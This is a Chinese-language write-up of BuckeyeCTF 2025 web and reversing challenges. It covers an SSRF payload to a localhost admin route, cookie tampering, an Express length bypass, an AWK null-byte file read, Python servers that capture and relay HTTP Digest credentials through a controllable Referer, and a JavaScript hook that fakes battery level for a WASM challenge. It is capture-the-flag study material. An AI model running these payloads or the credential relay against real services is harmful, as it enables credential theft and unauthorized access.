BuckeyeCTF 2025 wp&复现
BuckeyeCTF 2025
Web
beginner / ebg13
ssrf 到 admin 路由把结果 rot13 一下即可
/ebj13?url=http://localhost:3000/admin
beginner / Ramesses
改一下 cookie 把 is_pharaoh 置 true 即可

BIG CHUNGUS
username 长度大于 0xB16_C4A6A5 后会渲染 flag,但是是个超大数据
用类似字典的形式绕过,express 的一个 trick
?username[length]=4793467818
Awklet
给的 AWK 脚本
function load_font(font_name, font, filename, line, char, row, c) {
filename = font_name ".txt"
char = 32
row = 0
while ((getline line < filename) > 0) {
font[char, row] = line
row++
if (row == HEIGHT) {
char++
row = 0
}
}
close(filename)
}
font_name 直接做拼接,用 %00 绕过后缀名拼接
空格是第一个字符,用空格转换就能读前七行
实际上不用空格也行,不存在的行数会循环读前面的内容

Packages
第一反应是 sqlite 注入读文件
db.enable_load_extension(True)
不想做 sql。。 大概就是 load 一个扩展然后读文件
AUTHMAN
@app.route('/api/check',methods=['GET'])
def check():
(user, pw), *_ = app.config['AUTH_USERS'].items()
res = requests.get(r.referrer + '/auth',
auth = HTTPDigestAuth(user,pw),
timeout=3
)
return jsonify({'status':res.status_code})
referrer 可控,会导致密码泄露
HTTPDigestAuth 需要先返回一个 401,然后服务器会发送带数据的请求
ai 一个服务端代码
#!/usr/bin/env python3
from http.server import HTTPServer, BaseHTTPRequestHandler
import sys
import time
import hashlib
class DigestChallengeHandler(BaseHTTPRequestHandler):
def do_GET(self):
if self.path == '/auth':
# 第一次:返回 401 + WWW-Authenticate 挑战
if 'Authorization' not in self.headers:
nonce = hashlib.md5(str(time.time()).encode()).hexdigest()
www_auth = f'Digest realm="SecureArea", nonce="{nonce}", algorithm=MD5, qop="auth"'
print("\n[+] 收到初始请求,返回 401 挑战...")
self.send_response(401)
self.send_header("WWW-Authenticate", www_auth)
self.send_header("Content-Length", "0")
self.end_headers()
# 第二次:收到带 Authorization 的请求
else:
print("\n" + "="*70)
print(f"🎉 收到来自 {self.client_address[0]} 的完整请求!")
print(f"{self.command} {self.path} {self.request_version}")
for key, value in self.headers.items():
print(f"{key}: {value}")
print("="*70 + "\n")
# 返回 200,结束流程
self.send_response(200)
self.send_header("Content-Length", "0")
self.end_headers()
else:
self.send_error(404)
# 支持其他方法(可选)
def do_POST(self): self.do_GET()
if __name__ == '__main__':
port = int(sys.argv[1]) if len(sys.argv) > 1 else 8080
print(f"[+] 启动 Digest 捕获服务 on :{port}")
server = HTTPServer(('0.0.0.0', port), DigestChallengeHandler)
try:
server.serve_forever()
except KeyboardInterrupt:
print("\n[!] Bye.")
GET /auth HTTP/1.1
Host: 120.79.192.53
User-Agent: python-requests/2.32.5
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Authorization: Digest username="keno", realm="SecureArea", nonce="7886aee753117d692929dc76b93114d5", uri="/auth", response="692988a5fb8c1fa69fcfcb6c79795719", algorithm="MD5", qop="auth", nc=00000001, cnonce="59442446a19f5cbb"

研究一下 hashcat 怎么破这个
不对啊,这个密码是生成的 爆破不是预期思路

转发的思路也行不通,digest 本身机制是会防止中间人攻击的
感觉漏掉源码里的什么东西了
复现:
转发的思路是对的,也确实漏了点东西
https://en.wikipedia.org/wiki/Digest_access_authentication#Disadvantages
Digest access authentication is vulnerable to a man-in-the-middle (MITM) attack. For example, a MITM attacker could tell clients to use basic access authentication or legacy RFC2069 digest access authentication mode. To extend this further, digest access authentication provides no mechanism for clients to verify the server's identity
qop 和 nonce 机制主要是防止了重放攻击
当时做的时候没有搞清楚这里的通信过程
请求/api/check -> 根据Referer请求/auth ->
auth返回WWW-Authenticate头和cookie,包含nonce等参数,响应码为401(挑战) ->
api接收参数,生成Authorization,带cookie再次请求auth(响应) ->
auth验证通过,返回页面
所以我们充当中间人需要进行两次转发(服务端代码改自 golden 师傅)
#!/usr/bin/env python3
from http.server import HTTPServer, SimpleHTTPRequestHandler
import requests
class AuthHTTPRequestHandler(SimpleHTTPRequestHandler):
def do_AUTHHEAD(self):
self.send_response(401)
p = requests.head("http://localhost:11451/auth")
self.send_header("WWW-Authenticate", p.headers["WWW-Authenticate"])
self.send_header("Set-Cookie", p.headers["Set-Cookie"])
print(p.headers)
print(f'received head, forcing client to auth with {p.headers["WWW-Authenticate"]} and cookie')
self.send_header("Content-type", "text/html")
self.end_headers()
def do_GET(self):
h = self.headers.get("Authorization")
if h == None:
self.do_AUTHHEAD()
print("no auth header received")
else:
print(f'successful mitm with {h}, making request to host')
p = requests.get("http://localhost:11451/auth", headers={
"Authorization": h,
"Cookie": self.headers.get("Cookie"),
})
print(f'cookie: {self.headers.get("Cookie")}')
print(p.content)
if __name__ == '__main__':
port = 443
print(f"[+] 启动 Digest 捕获服务 on :{port}")
server = HTTPServer(('0.0.0.0', port), AuthHTTPRequestHandler)
try:
server.serve_forever()
except KeyboardInterrupt:
print("\n[!] Bye.")
请求一次 api 即可开始攻击
import requests
url = "http://127.0.0.1:11451"
session = requests.session()
proxy = {"http" : "http://127.0.0.1:9002"}
referer = {
"Referer" : "http://host.docker.internal:443",
}
r = session.get(url+"/api/check", headers=referer, proxies=proxy)
print(r.text)
Nice Astronomy
wasm 不会要逆向吧。
复现:
确实是一个 wasm 逆向,之前没有做过,所以来学习一下
静态调试
https://github.com/WebAssembly/wabt
https://github.com/vient/wasm2ida
用 wasm2ida 会报错,所以我直接用了 wabt 的 wasm2wat
也许是主函数?
(func $main (type 8) (param i32 i32) (result i32)
(local i32)
global.get $__stack_pointer
i32.const 16
i32.sub
local.tee 2
global.set $__stack_pointer
local.get 2
i32.const 30
i32.store offset=12
local.get 2
i32.const 12
i32.add
i32.const 1066344
local.get 0
local.get 1
i32.const 0
call $std::rt::lang_start_internal::ha7a3efe536cc1a53
local.set 1
local.get 2
i32.const 16
i32.add
global.set $__stack_pointer
local.get 1)

追踪到这个入口函数
(func $std::rt::lang_start_internal::ha7a3efe536cc1a53 (type 16) (param i32 i32 i32 i32 i32) (result i32)
(local i32 i32 i64 i64 i64)
global.get $__stack_pointer
i32.const 16
i32.sub
local.tee 5
global.set $__stack_pointer
block ;; label = @1
block ;; label = @2
i32.const 0
i64.load offset=1077504
local.tee 7
i64.const 0
i64.ne
br_if 0 (;@2;)
i32.const 0
i64.load offset=1077520
local.set 8
loop ;; label = @3
local.get 8
i64.const -1
i64.eq
br_if 2 (;@1;)
i32.const 0
local.get 8
i64.const 1
i64.add
local.tee 7
i32.const 0
i64.load offset=1077520
local.tee 9
local.get 9
local.get 8
i64.eq
local.tee 6
select
i64.store offset=1077520
local.get 9
local.set 8
local.get 6
i32.eqz
br_if 0 (;@3;)
end
i32.const 0
local.get 7
i64.store offset=1077504
end
i32.const 0
local.get 7
i64.store offset=1077496
local.get 0
local.get 1
i32.load offset=20
call_indirect (type 4)
local.set 6
block ;; label = @2
i32.const 0
i32.load8_u offset=1077032
i32.const 3
i32.eq
br_if 0 (;@2;)
local.get 5
i32.const 1
i32.store8 offset=15
local.get 5
i32.const 15
i32.add
call $std::sys::sync::once::no_threads::Once::call::h53323f0cd7af4a9e
end
local.get 5
i32.const 16
i32.add
global.set $__stack_pointer
local.get 6
return
end
call $std::thread::ThreadId::new::exhausted::h683383f9348e8ea0
unreachable)
从这里开始调用是通过间接的方式进行的,需要算偏移
问题在于我不会 😋
ai 分析发现有电池监控逻辑

找到这个相关的函数
(func $nice::setup_battery_monitoring::{{closure}}::{{closure}}::h42151b6bd36d55f6 (;347;) (param $var0 i32) (param $var1 i32)
(local $var2 i32)
(local $var3 i32)
global.get $__stack_pointer
i32.const 16
i32.sub
local.tee $var2
global.set $__stack_pointer
local.get $var2
local.get $var0
i32.load offset=8
call $__wbindgen_object_clone_ref
local.tee $var3
i32.store offset=12
block $label1
block $label2
block $label0
local.get $var2
i32.const 12
i32.add
call $web_sys::features::gen_BatteryManager::_::<impl wasm_bindgen::cast::JsCast for web_sys::features::gen_BatteryManager::BatteryManager>::instanceof::h47d6738c2bd44e8d
i32.eqz
br_if $label0
local.get $var2
local.get $var3
i32.store offset=8
local.get $var0
i64.const 1
local.get $var2
i32.const 8
i32.add
call $web_sys::features::gen_BatteryManager::BatteryManager::level::hee1734aec96fcd55
f64.const 100
f64.mul
i32.const 1053860
call $<T as reactive_graph::traits::Update>::try_maybe_update::hb7f83c4ce37665ec
drop
local.get $var3
i32.const 132
i32.lt_u
br_if $label1
br $label2
end $label0
local.get $var3
i32.const 132
i32.lt_u
br_if $label1
end $label2
local.get $var3
call $__externref_table_dealloc
end $label1
block $label3
local.get $var1
i32.const 132
i32.lt_u
br_if $label3
local.get $var1
call $__externref_table_dealloc
end $label3
local.get $var2
i32.const 16
i32.add
global.set $__stack_pointer
)
会读电量
打个断点看看

调用到这里获取到我的电量(目前是 1),然后乘 100
然后会传入 try_maybe_update
它的 var0 指向的是状态对象的地址

断住之后可以看到值 1114912,就是 level 保存的对象
继续跟进到赋值部分

此时 var0 为 1114720,那么值存入了 1114720+24=1114744
然后就追不下去了,我也不会 hook 什么的,也没什么可以参考的 wp。。。
其实到这里已经花了很长时间了,虽然写出来的不多,但是摸索了好久,毕竟第一次 rev
后续有完整 wp 再继续看,这里先跳过
参考了一下 siunam 师傅的分享,最后会到这里

会把电量跟 69 做比较,所以需要伪造一下电量到 69(当然笔记本直接物理到也行
这里也是用的 hook
const originalGetBattery = navigator.getBattery;
navigator.getBattery = function() {
return originalGetBattery.call(navigator).then(battery => {
return new Proxy(battery, {
get(target, prop) {
if (prop === 'level') return 0.69;
return target[prop];
}
});
});
};


浙公网安备 33010602011771号